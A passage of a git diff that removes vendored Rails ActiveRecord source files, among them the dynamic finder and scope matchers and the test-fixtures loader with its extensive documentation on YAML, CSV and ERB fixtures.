-            value = column.type_cast(value)
-          end
-        end
-
-        old != value
-      end
-
-    module ClassMethods
-      def self.extended(base)
-        base.singleton_class.alias_method_chain(:alias_attribute, :dirty)
-      end
-
-      def alias_attribute_with_dirty(new_name, old_name)
-        alias_attribute_without_dirty(new_name, old_name)
-        DIRTY_SUFFIXES.each do |suffix|
-          module_eval <<-STR, __FILE__, __LINE__ + 1
-            def #{new_name}#{suffix}; self.#{old_name}#{suffix}; end  # def subject_changed?; self.title_changed?; end
-          STR
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/dynamic_finder_match.rb b/vendor/rails/activerecord/lib/active_record/dynamic_finder_match.rb
deleted file mode 100644
index 8f9f05ce..00000000
--- a/vendor/rails/activerecord/lib/active_record/dynamic_finder_match.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-module ActiveRecord
-  class DynamicFinderMatch
-    def self.match(method)
-      df_match = self.new(method)
-      df_match.finder ? df_match : nil
-    end
-
-    def initialize(method)
-      @finder = :first
-      case method.to_s
-      when /^find_(all_by|last_by|by)_([_a-zA-Z]\w*)$/
-        @finder = :last if $1 == 'last_by'
-        @finder = :all if $1 == 'all_by'
-        names = $2
-      when /^find_by_([_a-zA-Z]\w*)\!$/
-        @bang = true
-        names = $1
-      when /^find_or_(initialize|create)_by_([_a-zA-Z]\w*)$/
-        @instantiator = $1 == 'initialize' ? :new : :create
-        names = $2
-      else
-        @finder = nil
-      end
-      @attribute_names = names && names.split('_and_')
-    end
-
-    attr_reader :finder, :attribute_names, :instantiator
-
-    def finder?
-      !@finder.nil? && @instantiator.nil?
-    end
-
-    def instantiator?
-      @finder == :first && !@instantiator.nil?
-    end
-
-    def bang?
-      @bang
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb b/vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb
deleted file mode 100644
index f796ba66..00000000
--- a/vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-module ActiveRecord
-  class DynamicScopeMatch
-    def self.match(method)
-      ds_match = self.new(method)
-      ds_match.scope ? ds_match : nil
-    end
-
-    def initialize(method)
-      @scope = true
-      case method.to_s
-      when /^scoped_by_([_a-zA-Z]\w*)$/
-        names = $1
-      else
-        @scope = nil
-      end
-      @attribute_names = names && names.split('_and_')
-    end
-
-    attr_reader :scope, :attribute_names
-
-    def scope?
-      !@scope.nil?
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/fixtures.rb b/vendor/rails/activerecord/lib/active_record/fixtures.rb
deleted file mode 100644
index ef8325f5..00000000
--- a/vendor/rails/activerecord/lib/active_record/fixtures.rb
+++ /dev/null
@@ -1,997 +0,0 @@
-require 'erb'
-require 'yaml'
-require 'csv'
-require 'zlib'
-require 'active_support/dependencies'
-require 'active_support/test_case'
-
-if RUBY_VERSION < '1.9'
-  module YAML #:nodoc:
-    class Omap #:nodoc:
-      def keys;   map { |k, v| k } end
-      def values; map { |k, v| v } end
-    end
-  end
-end
-
-if defined? ActiveRecord
-  class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
-  end
-else
-  class FixtureClassNotFound < StandardError #:nodoc:
-  end
-end
-
-# Fixtures are a way of organizing data that you want to test against; in short, sample data.
-#
-# = Fixture formats
-#
-# Fixtures come in 3 flavors:
-#
-#   1.  YAML fixtures
-#   2.  CSV fixtures
-#   3.  Single-file fixtures
-#
-# == YAML fixtures
-#
-# This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures
-# in a non-verbose, human-readable format. It ships with Ruby 1.8.1+.
-#
-# Unlike single-file fixtures, YAML fixtures are stored in a single file per model, which are placed in the directory appointed
-# by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically configured for Rails, so you can just
-# put your files in <tt><your-rails-app>/test/fixtures/</tt>). The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
-# <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a YAML fixture file looks like this:
-#
-#   rubyonrails:
-#     id: 1
-#     name: Ruby on Rails
-#     url: http://www.rubyonrails.org
-#
-#   google:
-#     id: 2
-#     name: Google
-#     url: http://www.google.com
-#
-# This YAML fixture file includes two fixtures.  Each YAML fixture (ie. record) is given a name and is followed by an
-# indented list of key/value pairs in the "key: value" format.  Records are separated by a blank line for your viewing
-# pleasure.
-#
-# Note that YAML fixtures are unordered. If you want ordered fixtures, use the omap YAML type.  See http://yaml.org/type/omap.html
-# for the specification.  You will need ordered fixtures when you have foreign key constraints on keys in the same table.
-# This is commonly needed for tree structures.  Example:
-#
-#    --- !omap
-#    - parent:
-#        id:         1
-#        parent_id:  NULL
-#        title:      Parent
-#    - child:
-#        id:         2
-#        parent_id:  1
-#        title:      Child
-#
-# == CSV fixtures
-#
-# Fixtures can also be kept in the Comma Separated Value (CSV) format. Akin to YAML fixtures, CSV fixtures are stored
-# in a single file, but instead end with the <tt>.csv</tt> file extension
-# (Rails example: <tt><your-rails-app>/test/fixtures/web_sites.csv</tt>).
-#
-# The format of this type of fixture file is much more compact than the others, but also a little harder to read by us
-# humans.  The first line of the CSV file is a comma-separated list of field names.  The rest of the file is then comprised
-# of the actual data (1 per line).  Here's an example:
-#
-#   id, name, url
-#   1, Ruby On Rails, http://www.rubyonrails.org
-#   2, Google, http://www.google.com
-#
-# Should you have a piece of data with a comma character in it, you can place double quotes around that value.  If you
-# need to use a double quote character, you must escape it with another double quote.
-#
-# Another unique attribute of the CSV fixture is that it has *no* fixture name like the other two formats.  Instead, the
-# fixture names are automatically generated by deriving the class name of the fixture file and adding an incrementing
-# number to the end.  In our example, the 1st fixture would be called "web_site_1" and the 2nd one would be called
-# "web_site_2".
-#
-# Most databases and spreadsheets support exporting to CSV format, so this is a great format for you to choose if you
-# have existing data somewhere already.
-#
-# == Single-file fixtures
-#
-# This type of fixture was the original format for Active Record that has since been deprecated in favor of the YAML and CSV formats.
-# Fixtures for this format are created by placing text files in a sub-directory (with the name of the model) to the directory
-# appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically configured for Rails, so you can just
-# put your files in <tt><your-rails-app>/test/fixtures/<your-model-name>/</tt> --
-# like <tt><your-rails-app>/test/fixtures/web_sites/</tt> for the WebSite model).
-#
-# Each text file placed in this directory represents a "record".  Usually these types of fixtures are named without
-# extensions, but if you are on a Windows machine, you might consider adding <tt>.txt</tt> as the extension.  Here's what the
-# above example might look like:
-#
-#   web_sites/google
-#   web_sites/yahoo.txt
-#   web_sites/ruby-on-rails
-#
-# The file format of a standard fixture is simple.  Each line is a property (or column in db speak) and has the syntax
-# of "name => value".  Here's an example of the ruby-on-rails fixture above:
-#
-#   id => 1
-#   name => Ruby on Rails
-#   url => http://www.rubyonrails.org
-#
-# = Using fixtures in testcases
-#
-# Since fixtures are a testing construct, we use them in our unit and functional tests.  There are two ways to use the
-# fixtures, but first let's take a look at a sample unit test:
-#
-#   require 'test_helper'
-#
-#   class WebSiteTest < ActiveSupport::TestCase
-#     test "web_site_count" do
-#       assert_equal 2, WebSite.count
-#     end
-#   end
-#
-# By default, the <tt>test_helper module</tt> will load all of your fixtures into your test database, so this test will succeed.
-# The testing environment will automatically load the all fixtures into the database before each test.
-# To ensure consistent data, the environment deletes the fixtures before running the load.
-#
-# In addition to being available in the database, the fixture's data may also be accessed by
-# using a special dynamic method, which has the same name as the model, and accepts the
-# name of the fixture to instantiate:
-#
-#   test "find" do
-#     assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
-#   end
-#
-# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests:
-#
-#   test "find_alt_method_1" do
-#     assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
-#   end
-#
-#   test "find_alt_method_2" do
-#     assert_equal "Ruby on Rails", @rubyonrails.news
-#   end
-#
-# In order to use these methods to access fixtured data within your testcases, you must specify one of the
-# following in your <tt>ActiveSupport::TestCase</tt>-derived class:
-#
-# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
-#     self.use_instantiated_fixtures = true
-#
-# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
-#     self.use_instantiated_fixtures = :no_instances
-#
-# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
-# traversed in the database to create the fixture hash and/or instance variables. This is expensive for
-# large sets of fixtured data.
-#
-# = Dynamic fixtures with ERb
-#
-# Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can
-# mix ERb in with your YAML or CSV fixtures to create a bunch of fixtures for load testing, like:
-#
-#   <% for i in 1..1000 %>
-#   fix_<%= i %>:
-#     id: <%= i %>
-#     name: guy_<%= 1 %>
-#   <% end %>
-#
-# This will create 1000 very simple YAML fixtures.
-#
-# Using ERb, you can also inject dynamic values into your fixtures with inserts like <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
-# This is however a feature to be used with some caution. The point of fixtures are that they're stable units of predictable
-# sample data. If you feel that you need to inject dynamic values, then perhaps you should reexamine whether your application
-# is properly testable. Hence, dynamic values in fixtures are to be considered a code smell.
-#
-# = Transactional fixtures
-#
-# TestCases can use begin+rollback to isolate their changes to the database instead of having to delete+insert for every test case.
-#
-#   class FooTest < ActiveSupport::TestCase
-#     self.use_transactional_fixtures = true
-#
-#     test "godzilla" do
-#       assert !Foo.find(:all).empty?
-#       Foo.destroy_all
-#       assert Foo.find(:all).empty?
-#     end
-#
-#     test "godzilla aftermath" do
-#       assert !Foo.find(:all).empty?
-#     end
-#   end
-#
-# If you preload your test database with all fixture data (probably in the Rakefile task) and use transactional fixtures,
-# then you may omit all fixtures declarations in your test cases since all the data's already there and every case rolls back its changes.
-#
-# In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to true. This will provide
-# access to fixture data for every table that has been loaded through fixtures (depending on the value of +use_instantiated_fixtures+)
-#
-# When *not* to use transactional fixtures:
-#
-# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit,
-#    particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify
-#    the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
-# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
-#    Use InnoDB, MaxDB, or NDB instead.
-#
-# = Advanced YAML Fixtures
-#
-# YAML fixtures that don't specify an ID get some extra features:
-#
-# * Stable, autogenerated IDs
-# * Label references for associations (belongs_to, has_one, has_many)
-# * HABTM associations as inline lists
-# * Autofilled timestamp columns
-# * Fixture label interpolation
-# * Support for YAML defaults
-#
-# == Stable, autogenerated IDs
-#
-# Here, have a monkey fixture:
-#
-#   george:
-#     id: 1
-#     name: George the Monkey
-#
-#   reginald:
-#     id: 2
-#     name: Reginald the Pirate
-#
-# Each of these fixtures has two unique identifiers: one for the database
-# and one for the humans. Why don't we generate the primary key instead?
-# Hashing each fixture's label yields a consistent ID:
-#
-#   george: # generated id: 503576764
-#     name: George the Monkey
-#
-#   reginald: # generated id: 324201669
-#     name: Reginald the Pirate
-#
-# Active Record looks at the fixture's model class, discovers the correct
-# primary key, and generates it right before inserting the fixture
-# into the database.
-#
-# The generated ID for a given label is constant, so we can discover
-# any fixture's ID without loading anything, as long as we know the label.
-#
-# == Label references for associations (belongs_to, has_one, has_many)
-#
-# Specifying foreign keys in fixtures can be very fragile, not to
-# mention difficult to read. Since Active Record can figure out the ID of
-# any fixture from its label, you can specify FK's by label instead of ID.
-#
-# === belongs_to
-#
-# Let's break out some more monkeys and pirates.
-#
-#   ### in pirates.yml
-#
-#   reginald:
-#     id: 1
-#     name: Reginald the Pirate
-#     monkey_id: 1
-#
-#   ### in monkeys.yml
-#
-#   george:
-#     id: 1
-#     name: George the Monkey
-#     pirate_id: 1
-#
-# Add a few more monkeys and pirates and break this into multiple files,
-# and it gets pretty hard to keep track of what's going on. Let's
-# use labels instead of IDs:
-#
-#   ### in pirates.yml
-#
-#   reginald:
-#     name: Reginald the Pirate
-#     monkey: george
-#
-#   ### in monkeys.yml
-#
-#   george:
-#     name: George the Monkey
-#     pirate: reginald
-#
-# Pow! All is made clear. Active Record reflects on the fixture's model class,
-# finds all the +belongs_to+ associations, and allows you to specify
-# a target *label* for the *association* (monkey: george) rather than
-# a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
-#
-# ==== Polymorphic belongs_to
-#
-# Supporting polymorphic relationships is a little bit more complicated, since
-# Active Record needs to know what type your association is pointing at. Something
-# like this should look familiar:
-#
-#   ### in fruit.rb
-#
-#   belongs_to :eater, :polymorphic => true
-#
-#   ### in fruits.yml
-#
-#   apple:
-#     id: 1
-#     name: apple
-#     eater_id: 1
-#     eater_type: Monkey
-#
-# Can we do better? You bet!
-#
-#   apple:
-#     eater: george (Monkey)
-#
-# Just provide the polymorphic target type and Active Record will take care of the rest.
-#
-# === has_and_belongs_to_many
-#
-# Time to give our monkey some fruit.
-#
-#   ### in monkeys.yml
-#
-#   george:
-#     id: 1
-#     name: George the Monkey
-#     pirate_id: 1
-#
-#   ### in fruits.yml
-#
-#   apple:
-#     id: 1
-#     name: apple
-#
-#   orange:
-#     id: 2
-#     name: orange
-#
-#   grape:
-#     id: 3
-#     name: grape
-#
-#   ### in fruits_monkeys.yml
-#
-#   apple_george:
-#     fruit_id: 1
-#     monkey_id: 1
-#
-#   orange_george:
-#     fruit_id: 2
-#     monkey_id: 1
-#
-#   grape_george:
-#     fruit_id: 3
-#     monkey_id: 1
-#
-# Let's make the HABTM fixture go away.
-#
-#   ### in monkeys.yml
-#
-#   george:
-#     name: George the Monkey
-#     pirate: reginald
-#     fruits: apple, orange, grape
-#
-#   ### in fruits.yml
-#
-#   apple:
-#     name: apple
-#
-#   orange:
-#     name: orange
-#
-#   grape:
-#     name: grape
-#
-# Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
-# on George's fixture, but we could've just as easily specified a list
-# of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
-# the fixture's model class and discovers the +has_and_belongs_to_many+
-# associations.
-#
-# == Autofilled timestamp columns
-#
-# If your table/model specifies any of Active Record's
-# standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
-# they will automatically be set to <tt>Time.now</tt>.
-#
-# If you've set specific values, they'll be left alone.
-#
-# == Fixture label interpolation
-#
-# The label of the current fixture is always available as a column value:
-#
-#   geeksomnia:
-#     name: Geeksomnia's Account
-#     subdomain: $LABEL
-#
-# Also, sometimes (like when porting older join table fixtures) you'll need
-# to be able to get ahold of the identifier for a given label. ERB
-# to the rescue:
-#
-#   george_reginald:
-#     monkey_id: <%= Fixtures.identify(:reginald) %>
-#     pirate_id: <%= Fixtures.identify(:george) %>
-#
-# == Support for YAML defaults
-#
-# You probably already know how to use YAML to set and reuse defaults in
-# your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
-#
-#   DEFAULTS: &DEFAULTS
-#     created_on: <%= 3.weeks.ago.to_s(:db) %>
-#
-#   first:
-#     name: Smurf
-#     <<: *DEFAULTS
-#
-#   second:
-#     name: Fraggle
-#     <<: *DEFAULTS
-#
-# Any fixture labeled "DEFAULTS" is safely ignored.
-
-class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
-  MAX_ID = 2 ** 30 - 1
-  DEFAULT_FILTER_RE = /\.ya?ml$/
-
-  @@all_cached_fixtures = {}
-
-  def self.reset_cache(connection = nil)
-    connection ||= ActiveRecord::Base.connection
-    @@all_cached_fixtures[connection.object_id] = {}
-  end
-
-  def self.cache_for_connection(connection)
-    @@all_cached_fixtures[connection.object_id] ||= {}
-    @@all_cached_fixtures[connection.object_id]
-  end
-
-  def self.fixture_is_cached?(connection, table_name)
-    cache_for_connection(connection)[table_name]
-  end
-
-  def self.cached_fixtures(connection, keys_to_fetch = nil)
-    if keys_to_fetch
-      fixtures = cache_for_connection(connection).values_at(*keys_to_fetch)
-    else
-      fixtures = cache_for_connection(connection).values
-    end
-    fixtures.size > 1 ? fixtures : fixtures.first
-  end
-
-  def self.cache_fixtures(connection, fixtures_map)
-    cache_for_connection(connection).update(fixtures_map)
-  end
-
-  def self.instantiate_fixtures(object, table_name, fixtures, load_instances = true)
-    object.instance_variable_set "@#{table_name.to_s.gsub('.','_')}", fixtures
-    if load_instances
-      ActiveRecord::Base.silence do
-        fixtures.each do |name, fixture|
-          begin
-            object.instance_variable_set "@#{name}", fixture.find
-          rescue FixtureClassNotFound
-            nil
-          end
-        end
-      end
-    end
-  end
-
-  def self.instantiate_all_loaded_fixtures(object, load_instances = true)
-    all_loaded_fixtures.each do |table_name, fixtures|
-      Fixtures.instantiate_fixtures(object, table_name, fixtures, load_instances)
-    end
-  end
-
-  cattr_accessor :all_loaded_fixtures
-  self.all_loaded_fixtures = {}
-
-  def self.create_fixtures(fixtures_directory, table_names, class_names = {})
-    table_names = [table_names].flatten.map { |n| n.to_s }
-    connection  = block_given? ? yield : ActiveRecord::Base.connection
-
-    table_names_to_fetch = table_names.reject { |table_name| fixture_is_cached?(connection, table_name) }
-
-    unless table_names_to_fetch.empty?
-      ActiveRecord::Base.silence do
-        connection.disable_referential_integrity do
-          fixtures_map = {}
-
-          fixtures = table_names_to_fetch.map do |table_name|
-            fixtures_map[table_name] = Fixtures.new(connection, File.split(table_name.to_s).last, class_names[table_name.to_sym], File.join(fixtures_directory, table_name.to_s))
-          end
-
-          all_loaded_fixtures.update(fixtures_map)
-
-          connection.transaction(:requires_new => true) do
-            fixtures.reverse.each { |fixture| fixture.delete_existing_fixtures }
-            fixtures.each { |fixture| fixture.insert_fixtures }
-
-            # Cap primary key sequences to max(pk).
-            if connection.respond_to?(:reset_pk_sequence!)
-              table_names.each do |table_name|
-                connection.reset_pk_sequence!(table_name)
-              end
-            end
-          end
-
-          cache_fixtures(connection, fixtures_map)
-        end
-      end
-    end
-    cached_fixtures(connection, table_names)
-  end
-
-  # Returns a consistent, platform-independent identifier for +label+.
-  # Identifiers are positive integers less than 2^32.
-  def self.identify(label)
-    Zlib.crc32(label.to_s) % MAX_ID
-  end
-
-  attr_reader :table_name, :name
-
-  def initialize(connection, table_name, class_name, fixture_path, file_filter = DEFAULT_FILTER_RE)
-    @connection, @table_name, @fixture_path, @file_filter = connection, table_name, fixture_path, file_filter
-    @name = table_name # preserve fixture base name
-    @class_name = class_name ||
-                  (ActiveRecord::Base.pluralize_table_names ? @table_name.singularize.camelize : @table_name.camelize)
-    @table_name = "#{ActiveRecord::Base.table_name_prefix}#{@table_name}#{ActiveRecord::Base.table_name_suffix}"
-    @table_name = class_name.table_name if class_name.respond_to?(:table_name)
-    @connection = class_name.connection if class_name.respond_to?(:connection)
-    read_fixture_files
-  end
-
-  def delete_existing_fixtures
-    @connection.delete "DELETE FROM #{@connection.quote_table_name(table_name)}", 'Fixture Delete'
-  end
-
-  def insert_fixtures
-    now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now
-    now = now.to_s(:db)
-
-    # allow a standard key to be used for doing defaults in YAML
-    if is_a?(Hash)
-      delete('DEFAULTS')
-    else
-      delete(assoc('DEFAULTS'))
-    end
-
-    # track any join tables we need to insert later
-    habtm_fixtures = Hash.new do |h, habtm|
-      h[habtm] = HabtmFixtures.new(@connection, habtm.options[:join_table], nil, nil)
-    end
-
-    each do |label, fixture|
-      row = fixture.to_hash
-
-      if model_class && model_class < ActiveRecord::Base
-        # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
-        if model_class.record_timestamps
-          timestamp_column_names.each do |name|
-            row[name] = now unless row.key?(name)
-          end
-        end
-
-        # interpolate the fixture label
-        row.each do |key, value|
-          row[key] = label if value == "$LABEL"
-        end
-
-        # generate a primary key if necessary
-        if has_primary_key_column? && !row.include?(primary_key_name)
-          row[primary_key_name] = Fixtures.identify(label)
-        end
-
-        # If STI is used, find the correct subclass for association reflection
-        reflection_class =
-          if row.include?(inheritance_column_name)
-            row[inheritance_column_name].constantize rescue model_class
-          else
-            model_class
-          end
-
-        reflection_class.reflect_on_all_associations.each do |association|
-          case association.macro
-          when :belongs_to
-            # Do not replace association name with association foreign key if they are named the same
-            fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
-
-            if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
-              if association.options[:polymorphic]
-                if value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
-                  target_type = $1
-                  target_type_name = (association.options[:foreign_type] || "#{association.name}_type").to_s
-
-                  # support polymorphic belongs_to as "label (Type)"
-                  row[target_type_name] = target_type
-                end
-              end
-
-              row[fk_name] = Fixtures.identify(value)
-            end
-          when :has_and_belongs_to_many
-            if (targets = row.delete(association.name.to_s))
-              targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
-              join_fixtures = habtm_fixtures[association]
-
-              targets.each do |target|
-                join_fixtures["#{label}_#{target}"] = Fixture.new(
-                  { association.primary_key_name => row[primary_key_name],
-                    association.association_foreign_key => Fixtures.identify(target) },
-                  nil, @connection)
-              end
-            end
-          end
-        end
-      end
-
-      @connection.insert_fixture(fixture, @table_name)
-    end
-
-    # insert any HABTM join tables we discovered
-    habtm_fixtures.values.each do |fixture|
-      fixture.delete_existing_fixtures
-      fixture.insert_fixtures
-    end
-  end
-
-  private
-    class HabtmFixtures < ::Fixtures #:nodoc:
-      def read_fixture_files; end
-    end
-
-    def model_class
-      unless defined?(@model_class)
-        @model_class =
-          if @class_name.nil? || @class_name.is_a?(Class)
-            @class_name
-          else
-            @class_name.constantize rescue nil
-          end
-      end
-
-      @model_class
-    end
-
-    def primary_key_name
-      @primary_key_name ||= model_class && model_class.primary_key
-    end
-
-    def has_primary_key_column?
-      @has_primary_key_column ||= model_class && primary_key_name &&
-        model_class.columns.find { |c| c.name == primary_key_name }
-    end
-
-    def timestamp_column_names
-      @timestamp_column_names ||= %w(created_at created_on updated_at updated_on).select do |name|
-        column_names.include?(name)
-      end
-    end
-
-    def inheritance_column_name
-      @inheritance_column_name ||= model_class && model_class.inheritance_column
-    end
-
-    def column_names
-      @column_names ||= @connection.columns(@table_name).collect(&:name)
-    end
-
-    def read_fixture_files
-      if File.file?(yaml_file_path)
-        read_yaml_fixture_files
-      elsif File.file?(csv_file_path)
-        read_csv_fixture_files
-      end
-    end
-
-    def read_yaml_fixture_files
-      yaml_string = ""
-      Dir["#{@fixture_path}/**/*.yml"].select { |f| test(?f, f) }.each do |subfixture_path|
-        yaml_string << IO.read(subfixture_path)
-      end
-      yaml_string << IO.read(yaml_file_path)
-
-      if yaml = parse_yaml_string(yaml_string)
-        # If the file is an ordered map, extract its children.
-        yaml_value =
-          if yaml.respond_to?(:type_id) && yaml.respond_to?(:value)
-            yaml.value
-          else
-            [yaml]
-          end
-
-        yaml_value.each do |fixture|
-          raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{fixture}" unless fixture.respond_to?(:each)
-          fixture.each do |name, data|
-            unless data
-              raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{name} (nil)"
-            end
-
-            self[name] = Fixture.new(data, model_class, @connection)
-          end
-        end
-      end
-    end
-
-    def read_csv_fixture_files
-      reader = CSV.parse(erb_render(IO.read(csv_file_path)))
-      header = reader.shift
-      i = 0
-      reader.each do |row|
-        data = {}
-        row.each_with_index { |cell, j| data[header[j].to_s.strip] = cell.to_s.strip }
-        self["#{@class_name.to_s.underscore}_#{i+=1}"] = Fixture.new(data, model_class, @connection)
-      end
-    end
-
-    def yaml_file_path
-      "#{@fixture_path}.yml"
-    end
-
-    def csv_file_path
-      @fixture_path + ".csv"
-    end
-
-    def yaml_fixtures_key(path)
-      File.basename(@fixture_path).split(".").first
-    end
-
-    def parse_yaml_string(fixture_content)
-      YAML::load(erb_render(fixture_content))
-    rescue => error
-      raise Fixture::FormatError, "a YAML error occurred parsing #{yaml_file_path}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n  #{error.class}: #{error}"
-    end
-
-    def erb_render(fixture_content)
-      ERB.new(fixture_content).result
-    end
-end
-
-class Fixture #:nodoc:
-  include Enumerable
-
-  class FixtureError < StandardError #:nodoc:
-  end
-
-  class FormatError < FixtureError #:nodoc:
-  end
-
-  attr_reader :model_class
-
-  def initialize(fixture, model_class, connection = ActiveRecord::Base.connection)
-    @connection = connection
-    @fixture = fixture
-    @model_class = model_class.is_a?(Class) ? model_class : model_class.constantize rescue nil
-  end
-
-  def class_name
-    @model_class.name if @model_class
-  end
-
-  def each
-    @fixture.each { |item| yield item }
-  end
-
-  def [](key)
-    @fixture[key]
-  end
-
-  def to_hash
-    @fixture
-  end
-
-  def key_list
-    columns = @fixture.keys.collect{ |column_name| @connection.quote_column_name(column_name) }
-    columns.join(", ")
-  end
-
-  def value_list
-    list = @fixture.inject([]) do |fixtures, (key, value)|
-      col = model_class.columns_hash[key] if model_class.respond_to?(:ancestors) && model_class.ancestors.include?(ActiveRecord::Base)
-      fixtures << @connection.quote(value, col).gsub('[^\]\\n', "\n").gsub('[^\]\\r', "\r")
-    end
-    list * ', '
-  end
-
-  def find
-    if model_class
-      model_class.find(self[model_class.primary_key])
-    else
-      raise FixtureClassNotFound, "No class attached to find."
-    end
-  end
-end
-
-module ActiveRecord
-  module TestFixtures
-    def self.included(base)
-      base.class_eval do
-        setup :setup_fixtures
-        teardown :teardown_fixtures
-
-        superclass_delegating_accessor :fixture_path
-        superclass_delegating_accessor :fixture_table_names
-        superclass_delegating_accessor :fixture_class_names
-        superclass_delegating_accessor :use_transactional_fixtures
-        superclass_delegating_accessor :use_instantiated_fixtures   # true, false, or :no_instances
-        superclass_delegating_accessor :pre_loaded_fixtures
-
-        self.fixture_table_names = []
-        self.use_transactional_fixtures = false
-        self.use_instantiated_fixtures = true
-        self.pre_loaded_fixtures = false
-
-        self.fixture_class_names = {}
-      end
-
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      def set_fixture_class(class_names = {})
-        self.fixture_class_names = self.fixture_class_names.merge(class_names)
-      end
-
-      def fixtures(*table_names)
-        if table_names.first == :all
-          table_names = Dir["#{fixture_path}/*.yml"] + Dir["#{fixture_path}/*.csv"]
-          table_names.map! { |f| File.basename(f).split('.')[0..-2].join('.') }
-        else
-          table_names = table_names.flatten.map { |n| n.to_s }
-        end
-
-        self.fixture_table_names |= table_names
-        require_fixture_classes(table_names)
-        setup_fixture_accessors(table_names)
-      end
-
-      def try_to_load_dependency(file_name)
-        require_dependency file_name
-      rescue LoadError => e
-        # Let's hope the developer has included it himself
-
-        # Let's warn in case this is a subdependency, otherwise
-        # subdependency error messages are totally cryptic
-        if ActiveRecord::Base.logger
-          ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
-        end
-      end
-
-      def require_fixture_classes(table_names = nil)
-        (table_names || fixture_table_names).each do |table_name|
-          file_name = table_name.to_s
-          file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
-          try_to_load_dependency(file_name)
-        end
-      end
-
-      def setup_fixture_accessors(table_names = nil)
-        table_names = [table_names] if table_names && !table_names.respond_to?(:each)
-        (table_names || fixture_table_names).each do |table_name|
-          table_name = table_name.to_s.tr('.', '_')
-
-          define_method(table_name) do |*fixtures|
-            force_reload = fixtures.pop if fixtures.last == true || fixtures.last == :reload
-
-            @fixture_cache[table_name] ||= {}
-
-            instances = fixtures.map do |fixture|
-              @fixture_cache[table_name].delete(fixture) if force_reload
-
-              if @loaded_fixtures[table_name][fixture.to_s]
-                @fixture_cache[table_name][fixture] ||= @loaded_fixtures[table_name][fixture.to_s].find
-              else
-                raise StandardError, "No fixture with name '#{fixture}' found for table '#{table_name}'"
-              end
-            end
-
-            instances.size == 1 ? instances.first : instances
-          end
-          private table_name
-        end
-      end
-
-      def uses_transaction(*methods)
-        @uses_transaction = [] unless defined?(@uses_transaction)
-        @uses_transaction.concat methods.map(&:to_s)
-      end
-
-      def uses_transaction?(method)
-        @uses_transaction = [] unless defined?(@uses_transaction)
-        @uses_transaction.include?(method.to_s)
-      end
-    end
-
-    def run_in_transaction?
-      use_transactional_fixtures &&
-        !self.class.uses_transaction?(method_name)
-    end
-
-    def setup_fixtures
-      return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
-
-      if pre_loaded_fixtures && !use_transactional_fixtures
-        raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
-      end
-
-      @fixture_cache = {}
-      @@already_loaded_fixtures ||= {}
-
-      # Load fixtures once and begin transaction.
-      if run_in_transaction?
-        if @@already_loaded_fixtures[self.class]
-          @loaded_fixtures = @@already_loaded_fixtures[self.class]
-        else
-          load_fixtures
-          @@already_loaded_fixtures[self.class] = @loaded_fixtures
-        end
-        ActiveRecord::Base.connection.increment_open_transactions
-        ActiveRecord::Base.connection.transaction_joinable = false
-        ActiveRecord::Base.connection.begin_db_transaction
-      # Load fixtures for every test.
-      else
-        Fixtures.reset_cache
-        @@already_loaded_fixtures[self.class] = nil
-        load_fixtures
-      end
-
-      # Instantiate fixtures for every test if requested.
-      instantiate_fixtures if use_instantiated_fixtures
-    end
-
-    def teardown_fixtures
-      return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
-
-      unless run_in_transaction?
-        Fixtures.reset_cache
-      end
-
-      # Rollback changes if a transaction is active.
-      if run_in_transaction? && ActiveRecord::Base.connection.open_transactions != 0
-        ActiveRecord::Base.connection.rollback_db_transaction
-        ActiveRecord::Base.connection.decrement_open_transactions
-      end
-      ActiveRecord::Base.clear_active_connections!
-    end
-
-    private
-      def load_fixtures
-        @loaded_fixtures = {}
-        fixtures = Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
